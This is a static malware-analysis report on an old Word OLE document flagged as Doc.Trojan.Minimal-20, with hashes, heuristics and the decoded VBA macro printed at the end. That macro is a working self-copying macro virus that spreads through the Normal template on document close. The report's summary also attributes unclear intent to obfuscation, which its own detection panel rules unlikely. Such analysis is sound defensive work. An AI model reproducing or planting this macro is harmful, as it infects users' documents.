Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 931422d24fecaf51…

MALICIOUS

Office (OLE)

26.0 KB Created: 1998-07-10 17:37:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 61072479fa07c6e013cb0b626ebb6296 SHA-1: 4331137951b6f7f91a311eae255e3d34f6059d76 SHA-256: 931422d24fecaf51d7535980f06e9787c85d0addb9ea049b467f69ee255031a1
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a legacy Word document containing a VBA macro with an AutoClose subroutine. This macro attempts to export and import VBA components, suggesting an attempt to modify or hide malicious functionality. The ClamAV detection 'Doc.Trojan.Minimal-20' further supports its malicious nature. The specific intent of the VBA manipulation is unclear due to obfuscation, but it is likely related to executing a payload or establishing persistence.

Heuristics 4

  • ClamAV: Doc.Trojan.Minimal-20 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Minimal-20
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 524 bytes
SHA-256: a8d3c4b6a70c4c31c1a5e8c2da32787646f14c450479a41f688404688cd1d3dc
Detection
ClamAV: Doc.Trojan.Minimal-20
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "a"
Sub AutoClose()
b = "a"
Application.VBE.ActiveVBProject.VBComponents("a").Export (b)
NormalTemplate.VBProject.VBComponents.Import b
ActiveDocument.VBProject.VBComponents.Import b
ActiveDocument.SaveAs FileFormat:=1
End Sub